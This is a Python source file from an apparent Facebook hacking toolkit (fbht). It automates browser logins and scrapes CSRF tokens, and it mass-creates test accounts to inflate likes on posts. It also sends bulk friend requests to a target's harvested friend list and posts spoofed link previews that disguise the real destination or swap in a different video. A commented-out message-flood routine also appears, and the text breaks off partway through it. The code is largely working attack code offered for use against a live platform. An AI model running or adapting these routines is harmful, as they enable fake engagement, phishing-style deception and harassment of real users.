Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
chinoogawa
GitHub Repository: chinoogawa/fbht
Path: blob/master/mainFunc.py
206 views
1
import sys,os
2
from platform import system
3
from getpass import getpass
4
from mainLib import *
5
import MyParser
6
from urllib import urlencode
7
import simplejson as json
8
import database
9
from time import time,ctime,sleep
10
import pickle
11
import re
12
from handlers import *
13
import signal
14
import networkx as nx
15
import matplotlib.pyplot as plt
16
import numpy as np
17
import community
18
from networkx.drawing.nx_agraph import write_dot
19
from base64 import b64encode
20
import logging
21
from mechanize import Request
22
from selenium import webdriver
23
from selenium.webdriver.common.keys import Keys
24
import datetime
25
from random import shuffle
26
27
blocked = 0
28
masterCj = ''
29
30
def flush():
31
if system() == 'Linux':
32
sys.stdout.flush()
33
34
def setGlobalLogginng():
35
global globalLogging
36
globalLogging = not globalLogging
37
message = 'logging level set to %s' %globalLogging
38
logs(message)
39
raw_input(message + ' Press enter to continue')
40
41
def setMail():
42
email = raw_input("Enter the email: ")
43
password = getpass("Enter the Password: ")
44
return email, password
45
46
47
def login(email, password,state):
48
global blocked
49
cookieHandler = customCookies()
50
# Empty the cookies
51
cj.clear()
52
# Access the login page to get the forms
53
profile = webdriver.FirefoxProfile()
54
profile.set_preference("general.useragent.override", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.76 Safari/537.36")
55
driver = webdriver.Firefox(profile)
56
driver.get("https://www.facebook.com/")
57
assert "Facebook" in driver.title
58
elem = driver.find_element_by_name("email")
59
elem.send_keys(email)
60
elem = driver.find_element_by_name("pass")
61
elem.send_keys(password)
62
elem.send_keys(Keys.RETURN)
63
all_cookies = driver.get_cookies()
64
pickle.dump( driver.get_cookies() , open("cookies.pkl","wb"))
65
assert "No results found." not in driver.page_source
66
driver.close()
67
68
for s_cookie in all_cookies:
69
cj.set_cookie(cookielib.Cookie(version = 0, name = s_cookie['name'], value = s_cookie['value'], port = '80', port_specified = False, domain = s_cookie['domain'], domain_specified = True, domain_initial_dot = False, path = s_cookie['path'], path_specified = True, secure = s_cookie['secure'], expires = s_cookie['expiry'], discard = False, comment = None, comment_url = None, rest = None, rfc2109 = False))
70
71
try:
72
if cookieHandler.isLogged(cj) == True:
73
#Checkpoint exists (?)
74
if cookieHandler.checkPoint(cj) == True:
75
blocked = 1
76
print 'Error - Checkpoint reached, your account may be blocked'
77
return -1
78
# Assign cookies to array
79
if state != 'real':
80
cookieArray.append(cj._cookies)
81
else:
82
logs('Logging failed')
83
print '\rLogging failed, check credentials and try again\r'
84
return -1
85
86
except signalCaught as e:
87
deleteUser(10)
88
message = '%s catch from login' %e.args[0]
89
logs(str(message))
90
print '%s \n' %message
91
raw_input('Press enter to continue')
92
return
93
94
95
96
97
98
def set_dtsg():
99
n = 0
100
flag = False
101
try:
102
response = br.open('https://www.facebook.com/')
103
''' Old dtsg set module..
104
for form in br.forms():
105
for control in form.controls:
106
if control.name == 'fb_dtsg':
107
flag = True
108
break
109
n += 1
110
if flag: break
111
br.select_form(nr=n-1) '''
112
113
if globalLogging:
114
logs(response.read())
115
116
117
118
except mechanize.HTTPError as e:
119
logs(e.code)
120
print e.code
121
except mechanize.URLError as e:
122
logs(e.reason.args)
123
print e.reason.args
124
except:
125
logs('Error in the dtsg set module')
126
print '\rTrying to set dtsg \r'
127
128
return workarounddtsg()
129
130
def workarounddtsg():
131
try:
132
response = br.open('https://www.facebook.com/')
133
parse = response.read()
134
match = re.search("\"fb_dtsg\"", parse)
135
matchBis = re.search("value=\"",parse[match.end():])
136
matchBisBis = re.search("\"",parse[match.end()+matchBis.end():])
137
fb_dtsg = parse[match.end()+matchBis.end():match.end()+matchBis.end()+matchBisBis.start()]
138
return fb_dtsg
139
except:
140
print 'error'
141
return 0
142
143
def getC_user():
144
# Get the c_user value from the cookie
145
#Filtramos la cookie para obtener el nombre de usuario
146
for cookie in cj:
147
if (cookie.name == 'c_user'):
148
c_user = cookie.value
149
return str(c_user)
150
151
def createUser(number):
152
153
fb_dtsg = set_dtsg()
154
if (fb_dtsg == 0):
155
print 'ERROR MOTHER FUCKER -_-'
156
c_user = getC_user()
157
158
arguments = {
159
'__user' : c_user,
160
'__a' : '1',
161
'__dyn' : '798aD5z5zufEa0',
162
'__req' : '4',
163
'fb_dtsg' : fb_dtsg,
164
'phstamp' : '16581655751108754574',
165
}
166
167
datos = urlencode(arguments)
168
169
userRaw = []
170
171
percentage = 0.0
172
print 'Creating Test Users .. '
173
for i in range(int(number)):
174
try:
175
response = br.open('https://www.facebook.com/ajax/whitehat/create_test_user.php',datos)
176
userRaw.append(str(response.read()))
177
178
percentage = (i * 100.0) / int(number)
179
flush()
180
print '\rCompleted [%.2f%%]\r'%percentage,
181
sleep(60)
182
except mechanize.HTTPError as e:
183
logs(str(e.code) + ' on iteration ' + str(i))
184
print str(e.code) + ' on iteration %d'%i
185
except mechanize.URLError as e:
186
logs(str(e.reason.args) + ' on iteration ' + str(i))
187
print str(e.reason.args) + ' on iteration %d'%i
188
except signalCaught as e:
189
raise signalCaught(str(e.args[0])+' handling from createUser.. ')
190
except:
191
logs('Error in create module on iteration ' + str(i))
192
print '\r \r',
193
print '\rError in create module on iteration %d\r' %i,
194
195
196
fullFlag = MyParser.parseData(userRaw)
197
198
return fullFlag
199
200
'''
201
def deleteUser():
202
#Number is the max amount of test user accounts - Modify this value if the platform change
203
number = 10
204
itemNum = 0
205
users = []
206
ids = []
207
208
try:
209
request = br.open("https://www.facebook.com/whitehat/accounts/")
210
211
except mechanize.HTTPError as e:
212
logs(str(e.code) + ' on deleteUser module')
213
print str(e.code) + ' on deleteUser module'
214
except mechanize.URLError as e:
215
logs(str(e.reason.args) + ' on deleteUser module')
216
print str(e.reason.args) + ' on deleteUser module'
217
218
i = 0
219
220
for form in br.forms():
221
try:
222
form.find_control('selected_test_users[]').items
223
br.select_form(nr=i)
224
break
225
except:
226
i += 1
227
continue
228
try:
229
for item in br.form.find_control('selected_test_users[]').items:
230
users.append(item.name)
231
br.form.find_control('selected_test_users[]').items[itemNum].selected = True
232
itemNum += 1
233
234
string = list(br.forms())[1]['fb_dtsg']
235
i = 0
236
237
dictioUser = {'fb_dtsg':str(string)}
238
239
for parameters in users:
240
if (i <= number):
241
dictioUser['selected_test_users['+str(i)+']'] = parameters
242
i += 1
243
244
for elements in dictioUser:
245
ids.append(str(dictioUser[str(elements)]))
246
247
dictioUser['__user'] = str(getC_user())
248
dictioUser['__a'] = '1'
249
dictioUser['__dyn'] = '7n8ahyj35zolgDxqihXzA'
250
dictioUser['__req'] = 'a'
251
dictioUser['phstamp'] = '1658168991161218151159'
252
253
datos = urlencode(dictioUser)
254
response = br.open('https://www.facebook.com/ajax/whitehat/delete_test_users.php',datos)
255
256
if globalLogging:
257
logs(request.read())
258
logs(response.read())
259
260
except:
261
logs('No users for eliminate')
262
print '\rNo users for eliminate\r'
263
'''
264
265
def deleteUser(appId):
266
''' Selects the fb_dtsg form '''
267
fb_dtsg = set_dtsg()
268
if (fb_dtsg == 0):
269
print 'ERROR MOTHER FUCKER -_-'
270
arguments = {
271
'__user' : str(getC_user()),
272
'__a' : '1',
273
'__dyn' : '7w86i3S2e4oK4pomXWo5O12wYw',
274
'__req' : '4',
275
'fb_dtsg' : fb_dtsg,
276
'ttstamp' : '26581718683108776783808786',
277
'__rev' : '1409158'
278
}
279
testUserID = database.getUsers()
280
for n in len(testUserID[0]):
281
arguments['test_user_ids['+str(n)+']'] = str(testUserID[0][n])
282
283
datos = urlencode(arguments)
284
try:
285
response = br.open('https://developers.facebook.com/apps/async/test-users/delete/?app_id='+appId,datos)
286
287
if globalLogging:
288
logs(response.read())
289
290
except:
291
logs('Error deleting users')
292
print 'Error deleting users \n'
293
294
def massLogin():
295
296
i = int(0)
297
people = database.getUsersNotLogged()
298
#Flush
299
print '\r \r',
300
301
loadPersistentCookie()
302
303
for person in people:
304
#login
305
rsp = login(str(person[0]),str(person[3]),'test')
306
#percentage
307
i+=1
308
percentage = (i * 100.0) / len(people)
309
flush()
310
print '\rCompleted [%.2f%%]\r'%percentage,
311
if rsp == -1:
312
database.removeTestUsers(person[0])
313
314
savePersistentCookie()
315
316
def friendshipRequest():
317
if (len(cookieArray) == 1):
318
massLogin()
319
userID = database.getUsers()
320
for cookies in range(len(cookieArray)):
321
cj._cookies = cookieArray[cookies]
322
c_user = getC_user()
323
users = 0
324
for person in userID:
325
'''---------------------Comienza el envio de solicitudes ... ----------------------- '''
326
if users > cookies:
327
sendRequest(person[0],c_user)
328
users += 1
329
330
def sendRequest(userID,c_user):
331
332
''' Selects the fb_dtsg form '''
333
fb_dtsg = set_dtsg()
334
if (fb_dtsg == 0):
335
print 'ERROR MOTHER FUCKER -_-'
336
arguments = {
337
'to_friend' : userID,
338
'action' : 'add_friend',
339
'how_found' : 'profile_button',
340
'ref_param' : 'none',
341
'link_data[gt][profile_owner]' : userID,
342
'link_data[gt][ref]' : 'timeline:timeline',
343
'outgoing_id' : '',
344
'logging_location' : '',
345
'no_flyout_on_click' : 'true',
346
'ego_log_data' : '',
347
'http_referer' : '',
348
'__user' : c_user,
349
'__a' : '1',
350
'__dyn' : '7n8aD5z5zu',
351
'__req' : 'n',
352
'fb_dtsg' : fb_dtsg,
353
'phstamp' : '1658165688376111103320'
354
}
355
356
357
datos = urlencode(arguments)
358
try:
359
response = br.open('https://www.facebook.com/ajax/add_friend/action.php',datos)
360
361
if globalLogging:
362
logs(response.read())
363
364
print 'Friend Request sent from %s to %s! \n' %(c_user,userID)
365
except:
366
logs('Error sending request ')
367
print 'Error sending request \n'
368
369
def sendRequestToList(victim):
370
371
root = 'dumps'
372
directory = victim
373
friends = []
374
frieds_send = []
375
count = 0
376
number = raw_input('Insert the amount of requests to send: ')
377
378
try:
379
try:
380
persons = open( os.path.join(root,directory,victim+".txt"),"rb" )
381
except:
382
logs('Friend file not found')
383
print 'Friend file not found'
384
return
385
try:
386
persons_send = open( os.path.join(root,directory,victim+"_friend_send.txt"),"rb")
387
while True:
388
linea = persons_send.readline()
389
if not linea:
390
break
391
frieds_send.append(linea.strip("\n\r"))
392
persons_send.close()
393
persons_send = open(os.path.join(root,directory,victim+"_friend_send.txt"),"ab")
394
except:
395
persons_send = open(os.path.join(root,directory,victim+"_friend_send.txt"),"wb")
396
while True:
397
linea = persons.readline()
398
if not linea:
399
break
400
friends.append(linea.strip("\n\r"))
401
402
i = 0.0
403
percentage = 0.0
404
405
print 'Sending friend requests'
406
407
408
for userID in friends:
409
if userID not in frieds_send:
410
#Escape condition
411
if count > int(number):
412
persons_send.close()
413
return
414
415
count += 1
416
''' Selects the fb_dtsg form '''
417
fb_dtsg = set_dtsg()
418
if (fb_dtsg == 0):
419
print 'ERROR MOTHER FUCKER -_-'
420
c_user = getC_user()
421
422
arguments = {
423
'to_friend' : userID,
424
'action' : 'add_friend',
425
'how_found' : 'profile_button',
426
'ref_param' : 'none',
427
'link_data[gt][profile_owner]' : userID,
428
'link_data[gt][ref]' : 'timeline:timeline',
429
'outgoing_id' : '',
430
'logging_location' : '',
431
'no_flyout_on_click' : 'true',
432
'ego_log_data' : '',
433
'http_referer' : '',
434
'__user' : c_user,
435
'__a' : '1',
436
'__dyn' : '7n8aD5z5zu',
437
'__req' : 'n',
438
'fb_dtsg' : fb_dtsg,
439
'ttstamp' : '265817211599516953787450107',
440
}
441
442
443
datos = urlencode(arguments)
444
try:
445
response = br.open('https://www.facebook.com/ajax/add_friend/action.php',datos)
446
447
#percentage
448
percentage = (i * 100.0) / len(friends)
449
i+=1
450
flush()
451
print '\rCompleted [%.2f%%]\r'%percentage,
452
453
if globalLogging:
454
logs(response.read())
455
456
print 'Friend Request sent from %s to %s! \n' %(c_user,userID)
457
persons_send.write(userID+'\n')
458
except:
459
logs('Error sending request ')
460
print 'Error sending request \n'
461
except signalCaught as e:
462
message = '%s catch from send request module' %e.args[0]
463
logs(str(message))
464
print '%s \n' %message
465
persons_send.close()
466
raw_input('Press enter to continue')
467
return
468
469
def acceptRequest():
470
initAccept()
471
acceptIDS = MyParser.parsePending()
472
while len(acceptIDS) != 0:
473
for elements in acceptIDS:
474
fb_dtsg = set_dtsg()
475
if (fb_dtsg == 0):
476
print 'ERROR MOTHER FUCKER -_-'
477
arguments = {
478
'action' : 'confirm',
479
'id' : elements,
480
'ref' : '%2Freqs.php',
481
'__user' : getC_user(),
482
'__a' : '1',
483
'__dyn' : '7n8aD5z5zu',
484
'__req' : 'm',
485
'fb_dtsg' : fb_dtsg,
486
'phstamp' : '165816867997811675120'
487
}
488
489
datos = urlencode(arguments)
490
response = br.open('https://www.facebook.com/requests/friends/ajax/ ',datos)
491
492
if globalLogging:
493
logs(response.read())
494
495
print 'Accept done! \n'
496
497
initAccept()
498
acceptIDS = MyParser.parsePending()
499
500
def initAccept():
501
f = open("respuesta.html","wb")
502
response = br.open('https://www.facebook.com/friends/requests/')
503
504
''' Se guarda el output de la respuesta html para ser parseada y filtrar los ID's '''
505
f.write(response.read())
506
f.close()
507
508
def savePersistentCookie():
509
f = open("cookiesObject","wb")
510
pickle.dump(cookieArray,f)
511
f.close()
512
for element in cookieArray:
513
cj._cookies = element
514
for cookie in cj:
515
if (cookie.name == 'c_user'):
516
c_user = cookie.value
517
database.setLogged(c_user)
518
519
def loadPersistentCookie():
520
global cookieArray
521
try:
522
f = open("cookiesObject","r")
523
cookieArray = pickle.load(f)
524
i = 0
525
''' Se limpian las cookies que no sirven - se filtra el id para cambiar su estado a logged = 0 '''
526
for cookie in cookieArray:
527
cj._cookies = cookie
528
for element in cj:
529
if (element.name == 'checkpoint'):
530
strip = str(element.value).strip("%7B%22u%22%3A")
531
removeId = strip.split("%2C%22t%22%3A")[0]
532
database.setLoggedOut(removeId)
533
del cookieArray[i]
534
i+=1
535
except:
536
return
537
538
def deleteAccounts():
539
people = database.getUsers()
540
for person in people:
541
database.removeTestUsers(person[0])
542
cookieArray[:] = []
543
544
def like(postId, quantity):
545
546
signal.signal(signal.SIGINT, signal_handler)
547
try:
548
email,password = setMail()
549
if (login(email,password,'real') is not -1):
550
551
#Cookie of the real account
552
masterCookie = cj._cookies
553
times = int(quantity) / 10
554
555
for i in range(times):
556
cj._cookies = masterCookie
557
#Check if users already exists
558
if ( createUser(10) == -1 ):
559
#Delete existing users and re-execute the create module
560
deleteUser()
561
deleteAccounts()
562
createUser(10)
563
564
massLogin()
565
#Percentage container
566
percentage = 0.0
567
j = 0.0
568
total = len(cookieArray) * len(postId)
569
#flush
570
print '\r \r',
571
572
for i in range(len(cookieArray)):
573
for post in range(len(postId)):
574
cj._cookies = cookieArray[i]
575
c_user = getC_user()
576
try:
577
fb_dtsg = set_dtsg()
578
if (fb_dtsg == 0):
579
print 'ERROR MOTHER FUCKER -_-'
580
arguments = {
581
'like_action' : 'true',
582
'ft_ent_identifier' : str(postId[post]),
583
'source' : '0',
584
'client_id' : str(c_user)+'%3A4047576437',
585
'rootid' : 'u_0_2o',
586
'giftoccasion' : '',
587
'ft[tn]' : '%3E%3D',
588
'ft[type]' : '20',
589
'nctr[_mod]' : 'pagelet_timeline_recent',
590
'__user' : c_user,
591
'__a' : '1',
592
'__dyn' : '7n8ahyj35ym3KiA',
593
'__req' : 'c',
594
'fb_dtsg' : fb_dtsg,
595
'phstamp' : '165816595797611370260',
596
}
597
598
datos = urlencode(arguments)
599
response = br.open('https://www.facebook.com/ajax/ufi/like.php',datos)
600
601
if globalLogging:
602
logs(response.read())
603
604
percentage = (j * 100.0)/total
605
flush()
606
print '\r[%.2f%%] of likes completed\r' %(percentage),
607
j+=1
608
609
except mechanize.HTTPError as e:
610
print e.code
611
612
except mechanize.URLError as e:
613
print e.reason.args
614
except:
615
print 'Unknown error'
616
617
cj._cookies = masterCookie
618
deleteUser()
619
deleteAccounts()
620
621
raw_input('Finished like() module, press enter to continue')
622
except signalCaught as e:
623
deleteUser()
624
message = '%s catch from create module' %e.args[0]
625
logs(str(message))
626
print '%s \n' %message
627
raw_input('Press enter to continue')
628
return
629
630
631
def appMessageSpoof(appId,link,picture,title,domain,description,comment):
632
c_user = getC_user()
633
print str(c_user)+'\n'
634
try:
635
fb_dtsg = set_dtsg()
636
if (fb_dtsg == 0):
637
print 'ERROR MOTHER FUCKER -_-'
638
639
arguments = {
640
'fb_dtsg' : fb_dtsg,
641
'preview' : '0',
642
'_path' : 'feed',
643
'app_id' : int(appId),
644
'redirect_uri' : 'https://facebook.com/',
645
'display' : 'page',
646
'link' : str(link),
647
'picture' : str(picture),
648
'name' : str(title),
649
'caption' : str(domain),
650
'description' : str(description),
651
'from_post' : '1',
652
'feedform_user_message' : str(comment),
653
'publish' : 'Share',
654
'audience[0][value]' : '80',
655
}
656
657
datos = urlencode(arguments)
658
response = br.open('https://www.facebook.com/v2.0/dialog/feed',datos)
659
660
if globalLogging:
661
logs(response.read())
662
663
except:
664
logs('Error en el modulo de appMessageSpoof()')
665
print 'Error en el modulo de appMessageSpoof()\n'
666
667
668
def linkPreviewYoutube(link,videoLink,title,summary,comment,videoID, privacy):
669
c_user = getC_user()
670
print str(c_user)+'\n'
671
try:
672
fb_dtsg = set_dtsg()
673
if (fb_dtsg == 0):
674
print 'ERROR MOTHER FUCKER -_-'
675
676
arguments = {
677
'fb_dtsg' : fb_dtsg,
678
'composer_session_id' : '38c20e73-acfc-411a-8313-47c095b01e42',
679
'xhpc_context' : 'profile',
680
'xhpc_ismeta' : '1',
681
'xhpc_timeline' : '1',
682
'xhpc_composerid' : 'u_0_29',
683
'xhpc_targetid' : str(c_user),
684
'clp' : '{ cl_impid : 65ac6257 , clearcounter :0, elementid : u_0_2n , version : x , parent_fbid :'+str(c_user)+'}',
685
'xhpc_message_text' : str(comment),
686
'xhpc_message' : str(comment),
687
'aktion' : 'post',
688
'app_id' : '2309869772',
689
'attachment[params][urlInfo][canonical]' : str(videoLink),
690
'attachment[params][urlInfo][final]' : str(videoLink),
691
'attachment[params][urlInfo][user]' : str(link),
692
'attachment[params][favicon]' : 'http://s.ytimg.com/yts/img/favicon_32-vflWoMFGx.png',
693
'attachment[params][title]' : str(title),
694
'attachment[params][summary]' : str(summary),
695
'attachment[params][images][0]' : 'http://i2.ytimg.com/vi/'+videoID+'/mqdefault.jpg?feature=og',
696
'attachment[params][medium]' : '103',
697
'attachment[params][url]' : str(videoLink),
698
'attachment[params][video][0][type]' : 'application/x-shockwave-flash',
699
'attachment[params][video][0][src]' : 'http://www.youtube.com/v/FxyecjOQXnI?autohide=1&version=3&autoplay=1',
700
'attachment[params][video][0][width]' : '1280',
701
'attachment[params][video][0][height]' : '720',
702
'attachment[params][video][0][safe]' : '1',
703
'attachment[type]' : '100',
704
'link_metrics[source]' : 'ShareStageExternal',
705
'link_metrics[domain]' : 'www.youtube.com',
706
'link_metrics[base_domain]' : 'youtube.com',
707
'link_metrics[title_len]' : '92',
708
'link_metrics[summary_len]' : '160',
709
'link_metrics[min_dimensions][0]' : '70',
710
'link_metrics[min_dimensions][1]' : '70',
711
'link_metrics[images_with_dimensions]' : '1',
712
'link_metrics[images_pending]' : '0',
713
'link_metrics[images_fetched]' : '0',
714
'link_metrics[image_dimensions][0]' : '1280',
715
'link_metrics[image_dimensions][1]' : '720',
716
'link_metrics[images_selected]' : '1',
717
'link_metrics[images_considered]' : '1',
718
'link_metrics[images_cap]' : '10',
719
'link_metrics[images_type]' : 'images_array',
720
'composer_metrics[best_image_w]' : '398',
721
'composer_metrics[best_image_h]' : '208',
722
'composer_metrics[image_selected]' : '0',
723
'composer_metrics[images_provided]' : '1',
724
'composer_metrics[images_loaded]' : '1',
725
'composer_metrics[images_shown]' : '1',
726
'composer_metrics[load_duration]' : '1058',
727
'composer_metrics[timed_out]' : '0',
728
'composer_metrics[sort_order]' : '',
729
'composer_metrics[selector_type]' : 'UIThumbPager_6',
730
'backdated_date[year]' : '',
731
'backdated_date[month]' : '',
732
'backdated_date[day]' : '',
733
'backdated_date[hour]' : '',
734
'backdated_date[minute]' : '',
735
'is_explicit_place' : '',
736
'composertags_place' : '',
737
'composertags_place_name' : '',
738
'tagger_session_id' : '1394761251',
739
'action_type_id[0]' : '',
740
'object_str[0]' : '',
741
'object_id[0]' : '',
742
'og_location_id[0]' : '',
743
'hide_object_attachment' : '0',
744
'og_suggestion_mechanism' : '',
745
'composertags_city' : '',
746
'disable_location_sharing' : 'false',
747
'composer_predicted_city' : '',
748
'audience[0][value]' : privacy,
749
'nctr[_mod]' : 'pagelet_timeline_recent',
750
'__user' : str(c_user),
751
'__a' : '1',
752
'__dyn' : '7n8aqEAMBlCFUSt2u6aOGeExEW9ACxO4pbGA8AGGzCAjFDxCm',
753
'__req' : 'm',
754
'ttstamp' : '26581658074898653',
755
'__rev' : '1161243',
756
}
757
758
datos = urlencode(arguments)
759
response = br.open('https://www.facebook.com/ajax/updatestatus.php',datos)
760
761
if globalLogging:
762
logs(response.read())
763
764
except mechanize.HTTPError as e:
765
print e.code
766
767
except mechanize.URLError as e:
768
print e.reason.args
769
except:
770
logs('Error en el modulo de linkPreviewYoutube()')
771
print 'Error en el modulo de linkPreviewYoutube()\n'
772
773
def linkPreview(link,realLink,title,summary,comment,image,privacy):
774
c_user = getC_user()
775
print str(c_user)+'\n'
776
try:
777
fb_dtsg = set_dtsg()
778
if (fb_dtsg == 0):
779
print 'ERROR MOTHER FUCKER -_-'
780
781
arguments = {
782
'composer_session_id' : '787d2fec-b5c1-41fe-bbda-3450a03240c6',
783
'fb_dtsg' : fb_dtsg,
784
'xhpc_context' : 'profile',
785
'xhpc_ismeta' : '1',
786
'xhpc_timeline' : '1',
787
'xhpc_composerid' : 'u_0_29',
788
'xhpc_targetid' : str(c_user),
789
'clp' : '{"cl_impid":"27c5e963","clearcounter":0,"elementid":"u_0_2n","version":"x","parent_fbid":'+str(c_user)+'}',
790
'xhpc_message_text' : str(comment),
791
'xhpc_message' : str(comment),
792
'aktion' : 'post',
793
'app_id' : '2309869772',
794
'attachment[params][urlInfo][canonical]' : str(realLink),
795
'attachment[params][urlInfo][final]' : str(realLink),
796
'attachment[params][urlInfo][user]' : str(link),
797
'attachment[params][favicon]' : str(realLink)+'/images/favicon.ico',
798
'attachment[params][title]' : str(title),
799
'attachment[params][summary]' : str(summary),
800
'attachment[params][images][0]' : str(image),
801
'attachment[params][medium]' : '106',
802
'attachment[params][url]' : str(realLink),
803
'attachment[type]' : '100',
804
'link_metrics[source]' : 'ShareStageExternal',
805
'link_metrics[domain]' : str(realLink),
806
'link_metrics[base_domain]' : str(realLink),
807
'link_metrics[title_len]' : '38',
808
'link_metrics[summary_len]' : '38',
809
'link_metrics[min_dimensions][0]' : '70',
810
'link_metrics[min_dimensions][1]' : '70',
811
'link_metrics[images_with_dimensions]' : '3',
812
'link_metrics[images_pending]' : '0',
813
'link_metrics[images_fetched]' : '0',
814
'link_metrics[image_dimensions][0]' : '322',
815
'link_metrics[image_dimensions][1]' : '70',
816
'link_metrics[images_selected]' : '1',
817
'link_metrics[images_considered]' : '5',
818
'link_metrics[images_cap]' : '3',
819
'link_metrics[images_type]' : 'ranked',
820
'composer_metrics[best_image_w]' : '100',
821
'composer_metrics[best_image_h]' : '100',
822
'composer_metrics[image_selected]' : '0',
823
'composer_metrics[images_provided]' : '1',
824
'composer_metrics[images_loaded]' : '1',
825
'composer_metrics[images_shown]' : '1',
826
'composer_metrics[load_duration]' : '812',
827
'composer_metrics[timed_out]' : '0',
828
'composer_metrics[sort_order]' : '',
829
'composer_metrics[selector_type]' : 'UIThumbPager_6',
830
'backdated_date[year]' : '',
831
'backdated_date[month]' : '',
832
'backdated_date[day]' : '',
833
'backdated_date[hour]' : '',
834
'backdated_date[minute]' : '',
835
'is_explicit_place' : '',
836
'composertags_place' : '',
837
'composertags_place_name' : '',
838
'tagger_session_id' : '1394765332',
839
'action_type_id[0]' : '',
840
'object_str[0]' : '',
841
'object_id[0]' : '',
842
'og_location_id[0]' : '',
843
'hide_object_attachment' : '0',
844
'og_suggestion_mechanism' : '',
845
'composertags_city' : '',
846
'disable_location_sharing' : 'false',
847
'composer_predicted_city' : '',
848
'audience[0][value]' : privacy,
849
'nctr[_mod]' : 'pagelet_timeline_recent',
850
'__user' : str(c_user),
851
'__a' : '1',
852
'__dyn' : '7n8aqEAMBlCFUSt2u6aOGeExEW9ACxO4pbGA8AGGzCAjFDxCm',
853
'__req' : 'h',
854
'ttstamp' : '26581658074898653',
855
'__rev' : '1161243'
856
}
857
858
datos = urlencode(arguments)
859
response = br.open('https://www.facebook.com/ajax/updatestatus.php',datos)
860
861
if globalLogging:
862
logs(response.read())
863
864
except mechanize.HTTPError as e:
865
print e.code
866
except mechanize.URLError as e:
867
print e.reason.args
868
869
except:
870
logs('Error en el modulo de linkPreview()')
871
print 'Error en el modulo de linkPreview()\n'
872
873
def hijackVideo(videoLink,title,summary,comment,videoID,hijackedVideo,privacy):
874
c_user = getC_user()
875
print str(c_user)+'\n'
876
try:
877
fb_dtsg = set_dtsg()
878
if (fb_dtsg == 0):
879
print 'ERROR MOTHER FUCKER -_-'
880
881
arguments = {
882
'composer_session_id' : '8c4e1fa6-5f1f-4c16-b393-5c1ab4c3802b',
883
'fb_dtsg' : fb_dtsg,
884
'xhpc_context' : 'profile',
885
'xhpc_ismeta' : '1',
886
'xhpc_timeline' : '1',
887
'xhpc_composerid' : 'u_0_23',
888
'xhpc_targetid' : str(c_user),
889
'clp' : '{"cl_impid":"4b4a8369","clearcounter":0,"elementid":"u_0_2h","version":"x","parent_fbid":'+str(c_user)+'}',
890
'xhpc_message_text' : str(comment),
891
'xhpc_message' : str(comment),
892
'aktion' : 'post',
893
'app_id' : '2309869772',
894
'attachment[params][urlInfo][canonical]' : str(videoLink),
895
'attachment[params][urlInfo][final]' : str(videoLink),
896
'attachment[params][urlInfo][user]' : str(videoLink),
897
'attachment[params][favicon]' : 'http://s.ytimg.com/yts/img/favicon_32-vflWoMFGx.png',
898
'attachment[params][title]' : str(title),
899
'attachment[params][summary]' : str(summary),
900
'attachment[params][images][0]' : 'http://i2.ytimg.com/vi/'+videoID+'/mqdefault.jpg?feature=og',
901
'attachment[params][medium]' : '103',
902
'attachment[params][url]' : str(videoLink),
903
'attachment[params][video][0][type]' : 'application/x-shockwave-flash',
904
'attachment[params][video][0][src]' : 'http://www.youtube.com/v/'+str(hijackedVideo)+'?version=3&autohide=1&autoplay=1',
905
'attachment[params][video][0][width]' : '1920',
906
'attachment[params][video][0][height]' : '1080',
907
'attachment[params][video][0][safe]' : '1',
908
'attachment[type]' : '100',
909
'link_metrics[source]' : 'ShareStageExternal',
910
'link_metrics[domain]' : 'www.youtube.com',
911
'link_metrics[base_domain]' : 'youtube.com',
912
'link_metrics[title_len]' : str(len(title)),
913
'link_metrics[summary_len]' : str(len(summary)),
914
'link_metrics[min_dimensions][0]' : '62',
915
'link_metrics[min_dimensions][1]' : '62',
916
'link_metrics[images_with_dimensions]' : '1',
917
'link_metrics[images_pending]' : '0',
918
'link_metrics[images_fetched]' : '0',
919
'link_metrics[image_dimensions][0]' : '1920',
920
'link_metrics[image_dimensions][1]' : '1080',
921
'link_metrics[images_selected]' : '1',
922
'link_metrics[images_considered]' : '1',
923
'link_metrics[images_cap]' : '10',
924
'link_metrics[images_type]' : 'images_array',
925
'composer_metrics[best_image_w]' : '154',
926
'composer_metrics[best_image_h]' : '154',
927
'composer_metrics[image_selected]' : '0',
928
'composer_metrics[images_provided]' : '1',
929
'composer_metrics[images_loaded]' : '1',
930
'composer_metrics[images_shown]' : '1',
931
'composer_metrics[load_duration]' : '1184',
932
'composer_metrics[timed_out]' : '0',
933
'composer_metrics[sort_order]' : '',
934
'composer_metrics[selector_type]' : 'UIThumbPager_6',
935
'backdated_date[year]' : '',
936
'backdated_date[month]' : '',
937
'backdated_date[day]' : '',
938
'backdated_date[hour]' : '',
939
'backdated_date[minute]' : '',
940
'is_explicit_place' : '',
941
'composertags_place' : '',
942
'composertags_place_name' : '',
943
'tagger_session_id' : '1399663185',
944
'action_type_id[0]' : '',
945
'object_str[0]' : '',
946
'object_id[0]' : '',
947
'og_location_id[0]' : '',
948
'hide_object_attachment' : '0',
949
'og_suggestion_mechanism' : '',
950
'composertags_city' : '',
951
'disable_location_sharing' : 'false',
952
'composer_predicted_city' : '',
953
'audience[0][value]' : str(privacy),
954
'nctr[_mod]' : 'pagelet_timeline_recent',
955
'__user' : str(c_user),
956
'__a' : '1',
957
'__dyn' : '7n8ajEAMBlynzpQ9UoGya4Cq7pEsx6iWF29aGEZ94WpUpBxCFaG',
958
'__req' : 'g',
959
'ttstamp' : '265817289113541097355755354',
960
'__rev' : '1241763',
961
}
962
963
datos = urlencode(arguments)
964
response = br.open('https://www.facebook.com/ajax/updatestatus.php',datos)
965
966
if globalLogging:
967
logs(response.read())
968
969
except:
970
logs('Error en el modulo de linkPreviewYoutube()')
971
print 'Error en el modulo de linkPreviewYoutube()\n'
972
973
#########################################
974
#Vulnerability no longer available
975
#########################################
976
#def mailFlood(victim,message):
977
# for cookies in cookieArray:
978
# print cookies
979
# cj._cookies = cookies
980
# c_user = getC_user()
981
# print str(c_user)+'\n'
982
# try:
983
# set_dtsg()
984
# arguments = {
985
# 'message_batch[0][action_type]' : 'ma-type:user-generated-message',
986
# 'message_batch[0][thread_id]' : '',
987
# 'message_batch[0][author]' : 'fbid:'+str(c_user),
988
# 'message_batch[0][author_email]' : '',
989
# 'message_batch[0][coordinates]' : '',
990
# 'message_batch[0][timestamp]' : '1372638156169',
991
# 'message_batch[0][timestamp_absolute]' : 'Hoy',
992
# 'message_batch[0][timestamp_relative]' : '21:22',
993
